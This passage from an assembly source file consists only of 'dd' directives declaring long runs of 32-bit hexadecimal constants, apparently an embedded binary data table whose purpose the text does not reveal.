0B00067C7h, 1D7B61B7h, 0BC93B5A6h, 0E3494044h dd 7F4BD2EEh, 838AFC20h, 1E5E0191h, 613B250Dh, 4E7130BCh dd 8CDC4D00h, 0E6146066h, 0D4F21341h, 4C3008C3h, 0A137569Ch dd 0C2978B83h, 29EC441Ah, 1D8CEFD4h, 323C49B5h, 430CCCC8h dd 6272A300h, 0B8BDC2B7h, 21E21708h, 75DC309Ch, 9E0FD837h dd 0E0787CCEh, 0A76FA853h, 9061E25Ah, 8E8C0E8Ch, 0C731BB8h dd 6039FEF8h, 0B6C44B50h, 0C18635Ch, 0B8870F80h, 985053B8h dd 10529A02h, 7864E6C6h, 921C570Eh, 4819E064h, 0D09331h dd 0DD978799h, 56249115h, 70D78928h, 1C01056h, 77BDA8CBh dd 10859A96h, 0C1529ECEh, 20183B54h, 8414ABC8h, 138E1D6h dd 9AC4E00Dh, 26E8C7FDh, 0CF280314h, 77901CFAh, 0C04432A2h dd 7BFC6300h, 0DB892D49h, 1F3A07D0h, 12156D44h, 6840539Fh dd 48A4FBD4h, 0AB1AB013h, 79A12430h, 52A60011h, 0B95BF3EDh dd 0FF058891h, 0F57707Dh, 529288E4h, 0C300F033h, 140338AEh dd 8116D81Bh, 0AC203CE4h, 77FE4Fh, 0B49258A4h, 5DA19C38h dd 49608507h, 8640B7B5h, 0B0EACEEFh, 93E42679h, 5A4C00ECh dd 12EC071Ch, 0C499B116h, 0E174C400h, 7E176631h, 0BB92252Dh dd 6D07C029h, 81C88533h, 609162FAh, 0C2005694h, 42CA0229h dd 0E463C17Dh, 0DD2002F8h, 0FA1A3405h, 202A90C1h, 800BEBE8h dd 82D05AF3h, 24F68844h, 0E744C8E3h, 2316CF00h, 0BB78FE6h dd 1A998A0h, 56195B9Dh, 70CFB1E8h, 0BB03AACCh, 32EBA955h dd 0B039C184h, 4F03F062h, 2FFAC952h, 0DFF102C8h, 36D3930Bh dd 86FC903Dh, 44D00048h, 9937C547h, 0A7075C17h, 0CE36FADEh dd 102DDB5Ah, 0BED5D8h, 6D9D270Eh, 0CE42EDA6h, 0BF191D00h dd 0DEC825E7h, 0ACB80004h, 2CDC4F86h, 922933C5h, 0E6829CD2h dd 9013570Bh, 4C3D70ECh, 0A9174C17h, 9D4845F9h, 65548131h dd 176EF19Ch, 78C9BB25h, 0C97B7DF0h, 48483219h, 8600F5DDh dd 698AB1CBh, 1E6257FCh, 4F5C5626h, 99E051C3h, 0F25152Eh dd 0DC204CB9h, 7D2780C0h, 1F9B0EFAh, 81CE1F74h, 73DE42B8h dd 0EB15C0D1h, 2606E48h, 0E4662797h, 3D8C61C3h, 2C4E8530h dd 3CDCC16Fh, 0D9876C48h, 123A3026h, 0D2011637h, 4DDF6D5Ah dd 482CB0B1h, 0DC026780h, 79011149h, 7BE864BBh, 0F460DB4Dh dd 0A8B885h, 7A28337Eh, 0BF08371h, 0DEAD6104h, 38F2C888h dd 20BECD00h, 281DB940h, 7C3503Ah, 0F7D812FCh, 80A7C1F2h dd 20B552B0h, 62F93CC6h, 0D1FB5500h, 0E81790E6h, 0A0E3B025h dd 35EAD51Ch, 0F1F00041h, 0DE3D5771h, 0FF00E23Eh, 0C0BA7A1h dd 2860E06h, 27835F5h, 8CF19D62h, 0ABED8A00h, 0B2AE14h dd 8BD02C83h, 0D4D33E21h, 1AD0BE60h, 5B09BB0Fh, 0EB242092h dd 0C81E1407h, 89431B9Fh, 0BE1E8h, 8611D991h, 3A914794h dd 0FC6A751Dh, 0A7265743h, 14A6C074h, 0F0993Dh, 1FCCD620h dd 0A10177BBh, 56633A08h, 21A5F314h, 892F9010h, 0B86835Ch dd 65EEA6h, 75A6EC4h, 1C160054h, 0A4BE3C0Bh, 0FC006BBCh dd 44CA4822h, 0C0B5E87Eh, 0F3DBC1C8h, 7B00B84Ch, 0DC9496C5h dd 4D193Bh, 0D49161DAh, 5DA9CC52h, 161D53FAh, 340AB49Dh dd 0DB3DC486h, 5BB98C20h, 9CA30EBh, 63A03A58h, 6E6DD414h dd 0BBC300DCh, 0B70FCB40h, 699601B0h, 0BACA7AFFh, 0C402BACh dd 0A418740Ch, 0D0640F1Eh dd 8CBD0649h, 8BA045C4h, 748ACE26h, 690E5613h, 98201325h dd 1222BE53h, 0B433D81Ah, 761D46E0h, 7900AAB4h, 2A31C5F6h dd 4A6AFC81h, 94407278h, 0A11E8440h, 1FC91314h, 74042C8Ch dd 3FAE9502h, 1E490E6h, 9EA407B2h, 203ECE8Ch, 5DD5D372h dd 6E00FAF6h, 0EC223DBCh, 1D077CB8h, 4EA81EDh, 0C691E2E6h dd 5B0369D4h, 7A27E37Dh, 10B5A826h, 0A89A4873h, 9CA6F0C0h dd 0AF009E3Ch, 631AC984h, 589BF193h, 0C8977045h, 9003A58h dd 0BD4E8861h, 5C676CA0h, 26229CAEh, 0DC28B403h, 0E7663360h dd 0CE606899h, 3D87040Dh, 0C82E16C0h, 0E00AC24h, 0F634A46Bh dd 0E6D0B411h, 30D502CBh, 3391D972h, 643A9CC4h, 319803B5h dd 0C00B0407h, 4A81ABBDh, 30CD9Dh, 507D44A0h, 5F77800h dd 23C79906h, 87420E35h, 2E0D87Eh, 36B56F25h, 0C7CCE658h dd 7CF705B7h, 0EE149280h, 0A02E5F47h, 910033D2h, 36CFCC44h dd 1118AB8h, 2673A2BFh, 4127A02Bh, 0CC6E537Ch, 0D411C4EBh dd 0AC153D17h, 853FB47Fh, 67EA6B80h, 3D90C83Ah, 0E4C40600h dd 0B6A53025h, 0D85C50D9h, 16409042h, 6D6A0B2h, 18CEE474h dd 0C0C44F48h, 38C1E518h, 0B5620EBEh, 2C40882Dh, 2B293996h dd 0EFFE4A05h, 8C61709Bh, 742C3618h, 0A1C0858Fh, 9C2960FEh dd 370D2607h, 0D41AC143h, 0EC151007h, 9E19A5E0h, 704BE71h dd 28D195AAh, 0CDBC9C83h, 0A646A2FDh, 4FD06634h, 0F01460C0h dd 70687E0h, 0C8C5AF9Dh, 94434CD0h, 51D0A07Ah, 0E74D04B5h dd 0F2928E15h, 1A4C44h, 34307A33h, 3D18AA02h, 4CFE98EFh dd 4C184DEh, 718D7BB0h, 0C42C2CE4h, 0BCC0C3B6h, 9889E3B9h dd 32E51214h, 4DC80862h, 0FD98569Dh, 304A93A9h, 0FE599DACh dd 0CE027FE3h, 0FD6AADA3h, 4D28C0A6h, 0B84F0048h, 682CB275h dd 0BE02986Ch, 0C7EB0793h, 0FC05CF6h, 0D30506E0h, 0D9BB0C52h dd 491C3E61h, 0FEC002EDh, 5A4D0743h, 47A903D6h, 5FD89782h dd 34C09DBAh, 10B161C7h, 0D20A880h, 1D7C215h, 4C3B695Dh dd 2FA28D2Ah, 65C9F581h, 580302Ch, 9839E04Eh, 0B3D77109h dd 30D03899h, 0A728134Ah, 0FC7F01A5h, 2C61E60Dh, 673A81D0h dd 0ADFCEE7Bh, 129E008Ch, 0F4C72D58h, 36020196h, 2239BF5Fh dd 0E79C9111h, 8A85D0C8h, 9600ACF1h, 0D94852DAh, 739217C0h dd 0D0A0079h, 21807AB3h, 86FB1901h, 34F9D469h, 0EE88B47Ch dd 8EA5D789h, 9E01F26Ch, 860F061Fh, 5EDEE7E8h, 882440B3h dd 0EB60854Ah, 0AED9A00h, 68B68A01h, 0D419013Ch, 0F313F7C8h dd 6BA84C55h, 6E00F9FCh, 92E51FDEh, 3845B53h, 0FF31ED47h dd 0C117AA9Bh, 888849FBh, 8B120026h, 3148CB06h, 3B889DACh dd 5A4EEC3h, 3E7EBBB5h, 7C20429Ch, 0D8DA16FDh, 5998E300h dd 2F2D8562h, 6AF008Ch, 0C947E083h, 29904F7Dh, 0E937DA17h dd 0CB5CCD0h, 403D2D80h, 0E054D492h, 0A4B4C3C0h, 0ED712674h dd 7F900EFEh, 0D87A16C0h, 0D62E537Eh, 0BC6054CEh, 94DE6Dh dd 0CCDBCB50h, 0BE8036C4h, 2105EF01h, 0E93F8C0h, 0E6A9DF8h dd 0D363258Dh, 0F44F5660h, 9524C6FFh, 604B34D2h, 0E643B4h dd 0AE3E6431h, 9BFE527Bh, 44E1BC27h, 16D7E84h, 0FC150AD9h dd 0CCC228B9h, 534EE860h, 0D4A76CC0h, 5248B8h, 0ADA0FFCEh dd 6FDA046h, 0AA40249Ch, 0EE7C91C4h, 0FA8A002Ah, 3018D134h dd 4B03CF4Ch, 473955C0h, 31AE36h, 0E3D986EAh, 0FDA2B67Eh dd 0B4168402h, 4432393Fh, 42F50788h, 4FF0592h, 2530E9E0h dd 1E4E648h, 8D9AFD45h, 60FA5F24h, 330982E0h, 49749Ch dd 5720D350h, 8BA4B40Fh, 8CC4921Bh, 9B9F8809h, 822080CEh dd 9DE1FA0Eh, 0A032B420h, 80F33176h, 58838028h, 95AF96Bh dd 655323CBh, 93146078h, 25ECB0B1h, 0E310666Eh, 197CE0h dd 4F0CA30h, 2D7934B1h, 1EF5C00h, 0DE16824Fh, 4E84132Fh dd 4A20B436h, 10F4202Ch, 0E2A39D3Eh, 28C447CCh, 0B57C146Ch dd 0C60050E6h, 0FF19E429h, 0E2001594h, 1E2D1B13h, 7A4ACA9Dh dd 0A456552Bh, 0DB807828h, 946DB646h, 87343300h, 362B88F1h dd 0EE4C0C25h, 0B440A8AAh, 935C49FCh, 98B0C044h, 7BD7065Eh dd 0ABBB040Ch, 820E209Fh, 0C2227BA8h, 84BCC0C9h, 9157F842h dd 40013B94h, 567858F1h, 25B83213h, 0CFECE8E6h, 16D803D7h dd 93ED3A54h, 44A4A2F4h, 0C64A41ACh, 8B5B1C80h, 0D4DA1794h dd 4BDC8893h, 7DF40938h, 5A087800h, 970FD89Bh, 7262076Ch dd 50B8CB0Ch, 0EBE42234h, 804050B0h, 79C53E4Ch, 0F573CD03h dd 8CC1AB6Ch, 36CEF0D1h, 0BB9BCF3Bh, 0A7E41EEDh, 0F500FC3Ah dd 38450F80h, 4B3F62C2h, 0C7A3A0A2h, 95425F03h, 0D243B7h dd 0AF73A041h, 50159269h, 0FF00C41h, 0F5991D4Fh, 8ACC8060h dd 0B908D0FCh, 0ADEC61C0h, 63395C87h, 54B6311Fh, 9F77A8CEh dd 4329CD62h, 72094005h, 567B38h, 4AC77F5Bh, 2C47E745h dd 64A0C52Ah, 0FDB8F41Dh, 20855Eh, 94750791h, 61974CC2h dd 0AD06EEFAh, 89C5269Eh, 7CE7F479h, 0EC43342Dh, 95A20011h dd 0D6CC09Eh, 2AA5C300h, 6417B6F4h, 1AC7CD7h, 0F09390EFh dd 9E1E982Bh, 0CE983878h, 16B7958h, 78ADEDFFh, 801E6F36h dd 0E2400A69h, 1CC7DBECh, 0C1454E76h, 51A97CDFh, 2DBBF0B0h dd 0DB686E0Eh, 0D856E594h, 0CF658300h, 2CEF5102h, 66B9FD6h dd 30A633B6h, 98781300h, 0E92C10ADh, 5F20C0F3h, 155C669Dh dd 0B8CD4D1Dh, 0B0610Bh, 0BA6EDB0Ch, 7F70C26Ch, 9C98A3C5h dd 0E1075EDEh, 0BAE3F4C8h, 4FC39B40h, 1C69FE6Dh, 41C5C006h dd 4E5C7881h, 67A01035h, 2C2F2D6h, 119F387Ah, 0BCA056ABh dd 0E840F107h, 517D61C3h, 44D7B05Eh, 70757FCAh, 0C5A90C3Ah dd 6B66B02Ch, 0C00E1574h, 1EAA1C52h, 1234B214h, 83398ADh dd 6990E883h, 0C6763D20h, 7DCB4881h, 0ECBBAAC5h, 5906C397h dd 12456B04h, 64117941h, 0AF3A995Ah, 0EE7AFC00h, 909C51D6h dd 39280844h, 9801A66h, 10550B47h, 42A626E2h, 0E03C02CEh dd 0F140C6E1h, 1777FEE5h, 8433DB18h, 0CADD59h, 356A58FBh dd 0C7B06EC1h, 0E3D04201h, 4F3E4047h, 263A2882h, 40601F5Ah dd 0DC008325h, 81DE1477h, 0C12049Fh, 0A4F6A24h, 3024B689h dd 20204C5Bh, 2A03BD00h, 96A13F44h, 0ADB050B5h, 0ECE8063Bh dd 0F874C5F7h, 60433344h, 514439F4h, 2B00BC40h, 0A0F68180h dd 0E31ED3h, 0DCE1D486h, 0DB0D4264h, 6663C313h, 0B13A5300h dd 91B56C73h, 8B308060h, 2DAFF512h, 18167B01h, 4EABA99Ah dd 747F2020h, 7D070E86h, 91836692h, 8DD08BBBh, 2C18E841h dd 32490B6Fh, 0B37D0E75h, 0A320E2BAh, 0BC07E66Bh, 5DC2AD01h dd 9BD5D849h, 0CEF492D5h, 58FCA8CAh, 80842CD3h, 675600D8h dd 4587EC70h, 0FF0690E6h, 2492C61Ah, 7CBC81F1h, 0E6B29C83h dd 76C3D5F3h, 739DC1C0h, 860920Eh, 0E4EC986h, 0EED06394h dd 0FE6903B8h, 0CBF3D5E4h, 28B41150h, 53009C78h, 7E93836Eh dd 606F3E4Dh, 0B906D120h, 1101CBC9h, 58092C7Ch, 2841F1D0h dd 908649B1h, 0A121435Fh, 0E13A1500h, 0C17AFE79h, 0AE5A00C5h dd 0E30EC978h, 0FD1E3C5Eh, 2C66D9F2h, 8202BD3Ah, 368D74CCh dd 0C1384A5Bh, 0D306C2Eh, 0E8AC48ABh, 0D05DB102h, 0E480609Bh dd 0ED80319Eh, 4A28AC90h, 7018E8CEh, 47414136h, 4DB200F2h dd 0FB69EC9h, 0B900B41Fh, 0DB742B14h, 2471CFFDh, 59893F4h dd 0E11B26h, 876B4D84h, 0CD1486ADh, 229C3979h, 0D354A1A7h dd 0C5E00D2h, 7702E1DCh dd 0B66A941Eh, 0D09C63D2h, 1118244h, 4AB1AEC0h, 0EC05BC6Dh dd 99C75C36h, 42106B3Ah, 1CD67ABAh, 80B2512Ch, 4F5D9E48h dd 29C06F35h, 575E67D0h, 0E97F25h, 0EEFB407Bh, 0B6C52DE0h dd 0DF020491h, 0A02F666Bh, 2863E9D4h, 90341FF0h, 514A41C7h dd 0C00F8185h, 0A20B3A02h, 1BD0837Fh, 0BCA6B004h, 1A090012h dd 48FF2172h, 0B5FCBDADh, 355988A0h, 0B0DBD62Ah, 0F5CF4605h dd 0A499FBACh, 6218C900h, 418A02B5h, 7CA319BEh, 176FE0C0h dd 0AA70F707h, 0E20742DCh, 0A75ED840h, 6C2C4818h, 0B1B87B04h dd 4F90C261h, 0CB008864h, 0BB76CDE1h, 509668FDh, 3907583Eh dd 873FCA6Ch, 0FCABBD00h, 33D9D47Ah, 0F09C8855h, 0B6012BD8h dd 631ACFDDh, 6E300FBFh, 985C4802h, 0A75F0C7Bh, 0AF314033h dd 0FC824D00h, 2B7B4CEEh, 4BB400F9h, 29790E86h, 9BE29FC4h dd 0C4CF4Ch, 4E2C4421h, 0FDE5CB6Fh, 0D99E8051h, 0E201A02Fh dd 0AFD5A200h, 1C89968Bh, 0B8CE00B3h, 0FE530716h, 0C71D5406h dd 4D6E1F0h, 0D5781004h, 0B5754080h, 65C0C0Fh, 0F59971ABh dd 126B2C3Ah, 7C06B0A8h, 807132EBh, 0A1B3B29Ch, 0D9E431D0h dd 9050E543h, 3ECCE2h, 9BEB1147h, 15D8A0F1h, 9F6C3001h dd 6733CB5Ah, 0F80C6180h, 3247E5A5h, 49020FFEh, 4462ECAh dd 8AC40EFh, 0C8F003FEh, 0B9557CCDh, 0C30F6DA0h, 38CCE72Ah dd 0C16B7200h, 410E8C50h, 0DAC300FFh, 946E9FDEh, 4F09CC1Eh dd 109EC547h, 0A8DAD09Ch, 58EB9364h, 9C3F50AFh, 3419C5B0h dd 4003029Bh, 0D79A646Ch, 0EF588113h, 2C72560h, 0B3D41FE2h dd 0DC64663Ah, 44AA900h, 0C6233908h, 94451D37h, 40E5DCFAh dd 59474EB4h, 0A901D38Ch, 5DEC1EEFh, 2CD4090Dh, 0B1B70053h dd 0AD9BCF5Eh, 6E543617h, 4A007590h, 99AEC602h, 2ED01C3Bh dd 61288AC5h, 205B96F5h, 9E00490Ch, 394E1FF7h, 1D37157Eh dd 5F3B9D40h, 5ECF0620h, 6113287Bh, 0F83033A4h, 1AEFE3Fh dd 0BC563011h, 0FC86375Ah, 0C2E41C7Dh, 26FD793Fh, 6B418851h dd 0F1803B46h, 0F8E38AE4h, 0FCFC4FBDh, 6B7DE6E6h, 1103ACB1h dd 0A66FC4D8h, 4C9B7811h, 0D00DE33h, 75DA89A8h, 50C0161h dd 91CFE4A6h, 906B7FA9h, 0FCA500CCh, 0ABDB8B0Ch, 0F1FF977Fh dd 60907076h, 0ACF4361Dh, 92B1BB80h, 0BB01C13h, 5407E54Bh dd 6F95BC81h, 0A2798108h, 0CA903E93h, 303320h, 0FBFC9252h dd 0F89C7D15h, 0E5ABD401h, 6EFED18Fh, 2FEFB042h, 57143AC0h dd 0C613157Dh, 78492294h, 0D6A49035h, 0D1510298h, 0C629C48Eh dd 0C8EE857h, 0E1C02699h, 53510F58h, 7273780h, 0E000A3A8h dd 784EA06Ch, 469CDC0h, 5831654h, 0E750883Dh, 0EEB558h dd 2BF080B7h, 437C3ACh, 72A9183Eh, 748881E2h, 0F02DC521h dd 4B481A63h, 32AB0038h, 0CA83B943h, 0FB4B96Fh, 6681656Ch dd 0DC6BE33Bh, 7B004519h, 0D2DA2874h, 2EC3FBBFh, 6064EE7Dh dd 9B42C10h, 84A2C700h, 74C9C890h, 93FEAEh, 5D9AE59Ch dd 0FDC1AC81h, 0DDDBD700h, 77634E41h, 3639226Bh, 0B078AD39h dd 29C511CCh, 489A7DCDh, 753B444Fh, 4E6B9B86h, 7494311Dh dd 0B007CA40h, 3AB91DD9h, 10C8D31Fh, 110B14CCh, 641070ABh dd 7B16B901h, 7C02FD2Ch, 66E28688h, 0C2BC3B30h, 519AA080h dd 31688596h, 48CC3D00h, 0F1BB910h, 0C8DB0EDCh, 0AB605E07h dd 8AC4B0CAh, 43F57308h, 0FB2B96D7h, 0EFA56303h, 0C26EC8DEh dd 163E0074h, 976A01B0h, 0AD27B92Ah, 0C527066h, 236F2F65h dd 0FE3E13B1h, 53BC00DCh, 3BBBD137h, 0D7A305C4h, 40A9E714h dd 2DF30290h, 9300C1D0h, 0FABE8953h, 13BDFAFh, 0D13E3538h dd 31075870h, 8EB460DDh, 6BB9C509h, 0F3C810B2h, 60E54CE6h dd 29808789h, 0F8B25B29h, 6BD76607h, 76F3D12h, 52F02D0Dh dd 993BB6Eh, 50FE32A4h, 6B004044h, 0CC58085Eh, 0A79C61Bh dd 32B0A12Eh, 406E0EDCh, 4A73FD27h, 6F84090h, 0C80067C0h dd 2C01B16Dh, 0FE6C219Eh, 563700A6h, 0A186FC2h, 15023AFDh dd 50163895h, 14EA2011h, 29018AF8h, 8EDBD852h, 0B13FE68Fh dd 80C6FDA1h, 0E10B6AD1h, 1233DEAEh, 98C56304h, 20917F44h dd 63BDC783h, 373BB8DFh, 0B034135Ah, 5CF00FF5h, 0AC849053h dd 293A26C0h, 5B3006AAh, 741DA40h, 567A1A11h, 986933C6h dd 0E86DABA8h, 8ECD4B09h, 0B2268E99h, 6018C8h, 0A0ADFEF5h dd 0D83AE414h, 0D627EC00h, 0F4839189h, 0CDE52807h, 38F80064h dd 6A02879h, 2050376Bh, 1A02C348h, 1954BB52h, 1FC846D7h dd 802AEEE6h, 0FB654EDFh, 1400CCE4h, 0F1A8D795h, 4B5FE7Bh dd 367DADAFh, 4594886Fh, 170BB17Fh, 53EC787h, 0EF18683Dh dd 53F489h, 5AE48935h, 0B371BC13h, 0A0CF4Ch, 0BDDB9DB8h dd 6A3F81h, 9BD05F1Dh, 7ED80677h, 878EFE02h, 4120B9E0h dd 4810BE38h, 0BA00B8D1h, 0C1D69695h, 38F8AD70h, 92854E26h dd 38CC505h, 31E4B468h, 0F24B3900h, 0C4DFBC66h, 0F707052Bh dd 0C23BDE7Dh, 0D740DCF1h, 0B9548638h, 0C006D6Ch, 94C917E2h dd 3FFC7116h, 57965C61h, 8EE40153h, 4066D90Eh, 0F4027D18h dd 6D862C07h, 0DF844574h, 0E641CCC1h, 4CE74820h, 78003490h dd 797407DAh, 22C2D63h, 0B000B02Eh, 50EECE76h, 9DA51C93h dd 136D1D90h, 0B8D83002h, 9C3CDFC3h, 0E48E8070h, 84EC6988h dd 971A48BAh, 783F1C5Dh, 0C32A5600h, 542D8367h, 3D2F5B0Ch dd 0ED721D9h, 1EE3C4FEh, 0AE322C00h, 0E27D81CDh, 0BED5A40h dd 0BAB9C65Ch, 60795401h, 169C2C2Ch, 0B807DD2Ah, 0C770B1AAh dd 0B3130Dh, 0B6DEDFE8h, 435B2E4Eh, 29006CB1h, 0A31605C5h dd 28C6820Dh, 73B0F702h, 0D24D6BE7h, 14900F30h, 7120F62h dd 484054B4h, 839F5A80h, 1D2D137Ah, 0C1AC6681h, 6393548h dd 336CC950h, 61B116D4h, 0CC307C13h, 98F56EA7h, 58A50053h dd 6CC6785Dh, 9200BA07h, 6DEA949Eh, 5AA20CFh, 67B8FDCh dd 4C44CC53h, 13B61284h, 0F0CCC150h, 123862BAh, 385E3FA3h dd 0AB396658h, 0B63A0014h, 4BFA6934h, 1558C12Ah, 2DEF00B5h dd 5A4E2BDEh, 0F14CB091h, 4038C214h, 0B2B01829h, 5F9C0328h dd 0CD9B176Bh, 53E854C8h, 81370100h, 0D04DB13Bh, 31A263EBh dd 5100066Fh, 3563C93h, 13ECF2Dh, 0D842C974h, 0DB38C6E3h dd 0CB2C7F80h, 0FE4EED00h, 6E7A47CDh, 0E0A34EF6h, 0A27BA174h dd 0A95FE100h, 0D5711BC6h, 0F2BA01ABh, 5B2FEB56h, 8054D506h dd 52372CB1h, 25D1A4E5h, 0ECA033A7h, 41BBF7D2h, 8BE7183Eh dd 0D93F22h, 0AD51CD84h, 4C5F1828h, 31BBB109h, 179B3238h dd 0D420E597h, 10D985h, 0A5D3D4F9h, 12A0DE3Ah, 155F39h dd 6FF5AD6Eh, 12381679h, 1FD9EE5Dh, 61B600EEh, 0B1496976h dd 738734Ch, 0AAC65377h, 3AD09760h, 0D4430637h, 81056FBDh dd 34DC9C00h, 9FC52EABh, 24C6E29Ah, 802739h, 9B8089F8h dd 189894E0h, 3821330Eh, 848113C1h, 0D5EC231Dh, 0CF9D4EBh dd 8F598A37h, 0E46F2D44h, 0D3E2CA5Ch, 8311941Ch, 93D4F1C3h dd 0E21690FDh, 0CE64036Fh, 3D71C9A4h, 86004F8Ah, 568870h dd 8A9CE5B3h, 0FA896EAh, 6B5B2D24h, 60092C2Ch, 3C48E940h dd 5CD30280h, 30E5D695h, 0AA35000h, 9EC55B3Dh, 0FFCD24B0h dd 60E30064h, 1EDECF37h, 8508C78h, 9456F60h, 384472D8h dd 845C5C63h, 2D3BB400h, 0E2CF5E1Dh, 0B5C6872h, 500F22C8h dd 3D7443Eh, 0E319CF66h, 47988E88h, 58FEAD4Eh, 0EB164001h dd 7548965h, 4C83643Ch dd 7200A6B1h, 9BEC81FFh, 30E983h, 6E1AE449h, 0D1C38DDh dd 7AE70105h, 60821886h, 0B7B4A0D5h, 135693BDh, 0FB1EE250h dd 0D87BE305h, 927F9000h, 452CD60h, 77EEF862h, 1A4E2D6h dd 0ECE5B2D9h, 0BDEC43ACh, 746F075Fh, 0A3EE836Ch, 6B203C5h dd 1C0988D9h, 776420E0h, 4C2CF8FFh, 0BD268CEEh, 0B45B0094h dd 1CB9DBA5h, 0BF0E100h, 6C1E73CCh, 0E31D28ABh, 0FD3244B4h dd 1B15AD0Bh, 57241050h, 25E800F3h, 0FC917F90h, 3DF76C9Fh dd 182E0E40h, 7D0820C0h, 7DF53C2h, 82D2B7CCh, 0FED447BAh dd 0C1595FA5h, 466BCD11h, 155808D4h, 12D2F30h, 376708C8h dd 0C7E0F4D9h, 143A2CD6h, 91E4128Ah, 0D7E178A4h, 0AA30FB9Bh dd 0FCB3F973h, 2B87009Ch, 0F530325h, 30031B9Ah, 2A656B66h dd 0A888AC1Dh, 3C6A02DCh, 79ADAADBh, 4423AE80h, 583EC5CBh dd 449D814h, 33C8E001h, 19A9B8C8h, 0B6A62810h, 0B8F5F4E2h dd 0AE6E3902h, 0C050C451h, 28BB808Bh, 50B8DED5h, 0B1ABBC9Dh dd 456B095Ch, 30D6D891h, 9E004464h, 0C1CC18C7h, 1CD72D5Dh dd 7A1D5181h, 852E0CC8h, 0C4B761C8h, 9186EC95h, 9838CCF0h dd 502F1F78h, 324024EEh, 1D2010D5h, 0C3EC46C5h, 1CDF9203h dd 2C7E81C0h, 47809C91h, 3FF74ED5h, 50F1073Eh, 0E117DEDBh dd 203685ADh, 0B1166014h, 6028119Ch, 2CB55885h, 6C3E2B22h dd 3C532C9Eh, 13EC443Ch, 30529B81h, 0D3B6412Ch, 5F119000h dd 942EF26h, 439A00AAh, 0BFB21F2Dh, 397A9902h, 0ACBAB00h dd 51806EB3h, 305070E8h, 364985C6h, 0E711AC7h, 51F75C03h dd 906F3738h, 985ADF4Bh, 0D8355272h, 4E2E91Eh, 82EC623Eh dd 7A2166A8h, 89E8C3A6h, 7ED207DFh, 308F2373h, 5FBE9786h dd 26377200h, 0F4B3F00Dh, 0FE64B0CEh, 1ECD986Eh, 32365002h dd 0EC908906h, 7003983h, 2F098CACh, 0FC0DC418h, 0F01581Ch dd 0F3CB0B00h, 0EAF1C7C1h, 98E5CD24h, 23EC9440h, 0BBF0055h dd 0B1871630h, 7D00A203h, 92E0EE6h, 0C05D3638h, 0A7D6DF69h dd 76009522h, 883F6B1Ch, 9AE68EBh, 0E40E2612h, 572A6C48h dd 51C4E300h, 9E1D78E0h, 0F2D025CAh, 0B8C524A2h, 0BB251C5Ah dd 1708B17h, 9ACF81A4h, 0E8AB1C60h, 830F1AFh, 0E4E788B8h dd 0F09FA0B1h, 58993F80h, 13204011h, 203EF3D1h, 47A33878h dd 10F85200h, 9C6EDE9Eh, 7D9F0922h, 0EC44FF2Ch, 357A5600h dd 0A2B671A6h, 1BDF003Fh, 0B1EB2AC7h, 19059576h, 36D6D755h dd 7AC23C10h, 8CE5E309h, 0B4968394h, 7799E43h, 728B1376h dd 8E976070h, 3CB9FE9Bh, 75DB4F80h, 651BB8h, 1D92AEA3h dd 9F257967h, 0E1E7AA1Ch, 0BC302D56h, 1F7BC94Dh, 0C0690DC8h dd 3B90D444h, 7102D84Ah, 0EEC57DA7h, 0B7AC90E5h, 5712000Dh dd 4F02320Ch, 9904F514h, 5911FB7Dh, 7CD4C88h, 2A0AD46Eh dd 0C850C7E6h, 3C1154A6h, 0AAC0097Ch, 7098A708h, 51396A7Dh dd 0F25400A0h, 0FB7488C5h, 0ADD8E925h, 38150783h, 0A1723A76h dd 0B23BFEDAh, 0E0365118h, 0F065634h, 7B4E94C0h, 0A4435CE5h dd 5100AC54h, 0B06C14C6h, 7BA03262h, 0B7ACB685h, 0B7F3F06Ah dd 5E015939h, 225D60A2h, 0CC4C5BC0h, 4CD80286h, 3F7A311Dh dd 80BCFE85h, 71B04138h, 6E09964h, 0A0446E22h, 3C80EC91h dd 8F160E33h, 6BE112B5h, 93C09044h, 0AD007A29h, 0E833DEA5h dd 44739B6h, 0B06D42FFh, 0C6B8C288h, 9A40AC54h, 0FC08ACF4h dd 7AF001E8h, 2102713Ch, 0E63F6019h, 96F48C0Eh, 2231D86Fh dd 32720078h, 63A159A6h, 0A7030B60h, 0E5FC752Ah, 13A100A8h dd 858A6C9Ah, 0CA0EA548h, 0C29256E9h, 0E1F90CDAh, 6878BB01h dd 6F118581h, 4A723021h, 0BE194400h, 17410BD4h, 4B3A0B77h dd 8005F746h, 0BC74144Fh, 0C9449500h, 0D514CB6Dh, 7C5F9BE2h dd 0E002E820h, 0F9991E52h, 3B2780DEh, 817912DFh, 0FB282C01h dd 0F02F3FC9h, 267E5060h, 13DCFCC4h, 0E2608463h, 0DC2B0058h dd 0BAB9E2EAh, 0E98B07A8h, 2996921Ah, 88442809h, 7114FE5Ch dd 348CD54Ah, 289051h, 6EC3DB76h, 3AE0400Fh, 11261502h dd 64BBC539h, 45942E30h, 9C510B54h, 12B0081Bh, 36004180h dd 0A5522CA2h, 0EEDEF394h, 3DF502A7h, 0C2939617h, 0E97F64E8h dd 92F74400h, 0C56ED9DCh, 3649C09Eh, 0ADEC8253h, 155C6B17h dd 68CDFC02h, 4124E00Ch, 6610C737h, 0B06B0226h, 0C5077C79h dd 0C340D987h, 443D0865h, 191C78D3h, 0E1C0D263h, 35C3F361h dd 0C44358EEh, 0FB0AEC83h, 9B6C760Fh, 3F6A200Dh, 9EECD64h dd 0DAD5D87Dh, 2D9DE851h, 0CD8D3440h, 0E9E915F5h, 5F586870h dd 1F5C23B0h, 9A9987A8h, 5709F10Ah, 800EF5Ah, 3ACE7F89h dd 1030F51Fh, 85D4C1Dh, 6A6C96C0h, 17005E54h, 5A7265D3h dd 440F99Bh, 33C3AA04h, 8794A848h, 70003927h, 588F0Fh dd 4E55B752h, 0C602A44Bh, 85E89258h, 18C2CFD8h, 22CE685h dd 8482C120h, 85C0AB92h, 60F18603h, 9895538Ch, 0F070B068h dd 3F5C4FE3h, 78E12EDCh, 4C407C1Ch, 6C4D1D5Ch, 906F4BC5h dd 0F22E08ACh, 0FFD9F800h, 7A5ADDACh, 11E9179Dh, 50506057h dd 4A486BFCh, 60089634h, 20E49373h, 5BDAA3D4h, 35BBA803h dd 0A8F4FD6Ch, 3232596Bh, 25485D76h, 30F01C43h, 4100061Bh dd 20F4B58Eh, 0B0AB2FA3h, 282345A0h, 72FF8010h, 0E4A9A744h dd 711417FDh, 0C680095h, 70C9F62Ch, 48C1F73Bh, 9D301294h dd 0D0745802h, 81547404h, 0D12D79C5h, 51180CFh, 313B49C4h dd 0A96C1221h, 755802FCh, 88795384h, 0D86EF01h, 38241FC1h dd 58E1489Bh, 0A64EB6C0h, 2202F057h, 55F6AC3h, 0F107E023h dd 0C6A90073h, 